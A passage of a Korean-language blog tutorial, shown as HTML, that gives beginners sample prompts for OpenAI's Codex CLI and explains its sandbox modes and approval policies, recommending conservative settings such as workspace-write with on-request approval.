&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2114&quot; data-origin-height=&quot;948&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bp3SfG/dJMcac33vkU/oTQV8LIfekazkqKIy9kLR1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bp3SfG/dJMcac33vkU/oTQV8LIfekazkqKIy9kLR1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bp3SfG/dJMcac33vkU/oTQV8LIfekazkqKIy9kLR1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbp3SfG%2FdJMcac33vkU%2FoTQV8LIfekazkqKIy9kLR1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2114&quot; height=&quot;948&quot; data-origin-width=&quot;2114&quot; data-origin-height=&quot;948&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;예시 2: 기능 구현&lt;/h3&gt;
&lt;pre class=&quot;kotlin&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto; font-size: 14px; line-height: 1.6; margin: 16px 0;&quot; data-ke-language=&quot;text&quot;&gt;&lt;code&gt;Build a classic Snake game in this repo&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;새 파일을 만들고 기존 파일을 수정하는 작업도 수행한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다만 승인 모드 설정에 따라 각 변경 전에 확인을 요청할 수도 있고, 자동으로 진행할 수도 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;예시 3: 버그 수정&lt;/h3&gt;
&lt;pre class=&quot;applescript&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto; font-size: 14px; line-height: 1.6; margin: 16px 0;&quot; data-ke-language=&quot;text&quot;&gt;&lt;code&gt;Find and fix bugs in my codebase with minimal, high-confidence changes&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;여기서 &quot;minimal, high-confidence changes&quot;는 &quot;작고 확실한 수정만 해달라&quot;는 뜻이다. 이런 제약 조건을 같이 적어두면 좋다. 범위를 지정하지 않으면 Codex가 내가 생각한 것보다 넓게 파일을 바꿀 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;예시 4: 기능 추가&lt;/h3&gt;
&lt;pre class=&quot;pgsql&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto; font-size: 14px; line-height: 1.6; margin: 16px 0;&quot; data-ke-language=&quot;text&quot;&gt;&lt;code&gt;Add a new command-line option --json that outputs JSON.&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 예시는 원하는 사용 방법을 꽤 구체적으로 적은 명령이다. 여기서 인터페이스 명세는 &quot;사용자가 어떤 옵션을 입력하면 프로그램이 어떻게 동작해야 하는지&quot;를 뜻한다. 이렇게 적으면 Codex가 바꿔야 할 파일, 추가할 로직, 필요한 테스트를 더 잘 좁힐 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;좋은 첫 프롬프트의 4요소&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://developers.openai.com/codex/learn/best-practices&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;공식 best practices(모범 사례)&lt;/a&gt;는 프롬프트에 &lt;b&gt;목표, 맥락, 제약, 완료 기준&lt;/b&gt;을 넣으라고 권장한다. 처음부터 길게 쓸 필요는 없지만, 이 네 가지를 넣으면 Codex가 덜 추측하고 더 좁은 범위에서 작업한다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2122&quot; data-origin-height=&quot;1158&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/3Dpjt/dJMb997mdI0/0LnkxnkFhxLX9743NNumq1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/3Dpjt/dJMb997mdI0/0LnkxnkFhxLX9743NNumq1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/3Dpjt/dJMb997mdI0/0LnkxnkFhxLX9743NNumq1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F3Dpjt%2FdJMb997mdI0%2F0LnkxnkFhxLX9743NNumq1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2122&quot; height=&quot;1158&quot; data-origin-width=&quot;2122&quot; data-origin-height=&quot;1158&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;요소&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;초심자식 표현&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;b&gt;Goal&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;무엇을 만들거나 고치고 싶은가&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;b&gt;Context&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;관련 파일, 오류 메시지, 참고 문서가 무엇인가&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;b&gt;Constraints&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;건드리면 안 되는 범위나 지켜야 할 규칙은 무엇인가&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;b&gt;Done when&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;어떤 테스트나 확인이 끝나야 완료로 볼 것인가&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;pre class=&quot;applescript&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto; font-size: 14px; line-height: 1.6; margin: 16px 0;&quot; data-ke-language=&quot;text&quot;&gt;&lt;code&gt;Goal: 로그인 오류를 고쳐줘.
Context: 에러 메시지는 &quot;Invalid token&quot;이고, 관련 파일은 src/auth.ts야.
Constraints: API 응답 형식은 바꾸지 말아줘.
Done when: 기존 테스트를 통과하고, 로그인 실패 케이스 테스트를 하나 추가해줘.&lt;/code&gt;&lt;/pre&gt;
&lt;!-- 섹션 4: 샌드박스와 승인 정책 이해하기 --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;4. 샌드박스와 승인 정책 이해하기&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Codex CLI를 처음 사용할 때 꼭 이해해야 할 개념이 권한과 승인 설정이다. Codex는 코드를 읽는 것뿐 아니라 파일을 편집하고 셸 명령도 실행할 수 있다. 그래서 &quot;어디까지 자동으로 맡길 것인가&quot;를 정해야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;position: absolute;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Codex의 안전 장치는 &lt;b&gt;샌드박스(격리)&lt;/b&gt;와 &lt;b&gt;승인 정책&lt;/b&gt; 두 축으로 구성된다. 공식 best practices(모범 사례) 문서도 이 둘을 Codex 권한을 조절하는 핵심 손잡이로 설명한다.&lt;/p&gt;
&lt;div style=&quot;background-color: #fff9e6; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;두 축을 분리해서 이해하자.&lt;/b&gt;&lt;br /&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;sandbox_mode&lt;/code&gt;는 Codex가 &lt;b&gt;어디까지 접근할 수 있는지&lt;/b&gt;를 정한다. 파일 수정 범위, 네트워크 접근, 셸 명령 실행 범위가 여기에 걸린다. &lt;br /&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;approval_policy&lt;/code&gt;는 Codex가 작업하다가 &lt;b&gt;언제 사용자에게 물어볼지&lt;/b&gt;를 정한다. &lt;br /&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;--yolo&lt;/code&gt;는 이 두 안전장치를 함께 우회하는 별도 고위험 옵션이다.&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;중요한 점은 샌드박스가 Codex 내부 파일 편집뿐 아니라 Codex가 실행하는 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;git&lt;/code&gt;, 패키지 매니저, 테스트 명령에도 적용된다는 것이다. 예를 들어 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;npm install&lt;/code&gt;은 단순한 설치 명령처럼 보여도 네트워크 요청과 설치 스크립트 실행을 동반할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래 세 가지는 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;--sandbox&lt;/code&gt;에 넣는 샌드박스 모드이고, 승인 정책은 뒤에서 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;--ask-for-approval&lt;/code&gt; 또는 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;approval_policy&lt;/code&gt;로 따로 지정한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;4.1 샌드박스 3단계&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://developers.openai.com/codex/concepts/sandboxing&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;공식 sandboxing(격리) 문서&lt;/a&gt;와 &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://developers.openai.com/codex/cli/reference&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;CLI reference(옵션 목록)&lt;/a&gt;에 따르면 샌드박스 모드는 다음 세 가지다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2122&quot; data-origin-height=&quot;1168&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/KUdvc/dJMcaiQJc4t/cYbSAAqQjOAvAH91JQkQv1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/KUdvc/dJMcaiQJc4t/cYbSAAqQjOAvAH91JQkQv1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/KUdvc/dJMcaiQJc4t/cYbSAAqQjOAvAH91JQkQv1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FKUdvc%2FdJMcaiQJc4t%2FcYbSAAqQjOAvAH91JQkQv1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2122&quot; height=&quot;1168&quot; data-origin-width=&quot;2122&quot; data-origin-height=&quot;1168&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;모드&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;CLI 플래그 값&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;언제 쓰나&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;b&gt;read-only&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;--sandbox read-only&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;낯선 저장소를 처음 분석할 때. 파일을 읽는 데 집중하고, 수정이나 명령 실행은 막아두고 싶을 때&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;b&gt;workspace-write&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;--sandbox workspace-write&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;일반적인 로컬 개발 기본값. 현재 작업 폴더 안의 파일 읽기/수정은 허용하고, 바깥 폴더 수정이나 네트워크 접근은 기본적으로 제한&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;b&gt;danger-full-access&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;--sandbox danger-full-access&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;샌드박스 경계를 제거해야 하는 특수 상황. 로컬 입문자에게는 비권장. 승인 정책까지 자동으로 꺼지는 것은 아니지만, &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;never&lt;/code&gt;와 결합하면 사실상 전체 권한 실행에 가까워짐&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;처음에는 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;workspace-write&lt;/code&gt;로 시작하는 편이 낫다. 어느 파일을 바꾸는지 감이 잡히고, 저장소를 충분히 신뢰할 수 있을 때만 권한을 넓힌다.&lt;/p&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;네트워크 접근은 별도 문제다.&lt;/b&gt; &lt;br /&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://developers.openai.com/codex/config-reference&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;공식 설정 reference(설정 목록)&lt;/a&gt; 기준으로 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;workspace-write&lt;/code&gt;에서도 네트워크 접근은 별도 설정(&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;sandbox_workspace_write.network_access&lt;/code&gt;)으로 다룬다.&lt;br /&gt;패키지 설치, 외부 API 호출, 웹 요청이 필요하면 승인 요청이 뜨거나 설정을 바꿔야 할 수 있다. &lt;br /&gt;초심자라면 네트워크가 필요한 작업인지 먼저 확인하고, 왜 필요한지 Codex에게 설명하게 하는 습관이 좋다.&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;4.2 승인 정책 3단계&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2130&quot; data-origin-height=&quot;1160&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/IApHI/dJMb990CHAu/4VKf9ye5VYDMb758YXTbZk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/IApHI/dJMb990CHAu/4VKf9ye5VYDMb758YXTbZk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/IApHI/dJMb990CHAu/4VKf9ye5VYDMb758YXTbZk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FIApHI%2FdJMb990CHAu%2F4VKf9ye5VYDMb758YXTbZk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2130&quot; height=&quot;1160&quot; data-origin-width=&quot;2130&quot; data-origin-height=&quot;1160&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;--ask-for-approval&lt;/code&gt;은 사용자 확인을 언제 받을지 정하는 옵션이다. 2026년 5월 기준 공식 CLI reference(옵션 목록)와 로컬 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;codex-cli 0.128.0&lt;/code&gt; 도움말에서 확인되는 주요 값은 다음과 같다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600; width: 13.0233%;&quot;&gt;값&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600; width: 39.7674%;&quot;&gt;의미&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600; width: 47.093%;&quot;&gt;주의점&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px; width: 13.0233%;&quot;&gt;&lt;b&gt;untrusted&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px; width: 39.7674%;&quot;&gt;신뢰된 명령 목록에 없는 명령을 실행하기 전에 사용자 승인을 요청&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px; width: 47.093%;&quot;&gt;보수적으로 시작하고 싶을 때 유용&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px; width: 13.0233%;&quot;&gt;&lt;b&gt;on-request&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px; width: 39.7674%;&quot;&gt;샌드박스 안에서 가능한 작업은 진행하고, 경계를 넘을 필요가 있을 때 승인 요청&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px; width: 47.093%;&quot;&gt;일반적인 대화형 로컬 개발에 가장 무난&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px; width: 13.0233%;&quot;&gt;&lt;b&gt;never&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px; width: 39.7674%;&quot;&gt;사용자 승인을 요청하지 않음. 실패는 곧바로 모델에게 돌아감&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px; width: 47.093%;&quot;&gt;승인만 끄는 것이지 샌드박스를 자동으로 끄는 것은 아님. &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;never&lt;/code&gt;와 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;--yolo&lt;/code&gt;는 다름&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예전 문서나 글에서 보이는 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;on-failure&lt;/code&gt;는 현재 도움말에서 더 이상 권장하지 않는 값(deprecated)으로 표시된다. 새로 설정한다면 대화형 작업은 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;on-request&lt;/code&gt;, 비대화형 작업은 상황에 따라 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;never&lt;/code&gt;를 검토하는 편이 낫다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;4.3 처음 고를 조합&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;처음에는 옵션 이름을 외우는 것보다 상황별 조합을 기억하는 편이 쉽다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;상황&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;권장 조합&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;이유&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;처음 보는 저장소를 읽기만 할 때&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;read-only + on-request&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;수정 없이 구조 파악부터 할 수 있음&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;일반적인 로컬 개발&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;workspace-write + on-request&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;작업 폴더 안에서는 진행하고, 범위를 넘을 때 멈춰 물어봄&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;CI나 자동화 스크립트&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;workspace-write&lt;/code&gt; 기반으로 별도 검토&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;깨끗한 Git 상태, 임시 실행 환경(CI runner), 필요한 네트워크 권한을 함께 설계해야 함&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;전체 파일/네트워크 권한이 필요한 특수 작업&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;입문 단계 비권장&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;먼저 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;--add-dir&lt;/code&gt;나 쓰기 허용 폴더(writable roots)로 필요한 폴더만 추가하는 편이 안전&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;CLI 플래그로 실행할 때마다 지정할 수도 있다. 플래그는 명령어 뒤에 붙여서 동작 방식을 바꾸는 옵션이다.&lt;/p&gt;
&lt;pre class=&quot;jboss-cli&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto; font-size: 14px; line-height: 1.6; margin: 16px 0;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# 기본 권장 조합 (로컬 작업)
codex --sandbox workspace-write --ask-for-approval on-request

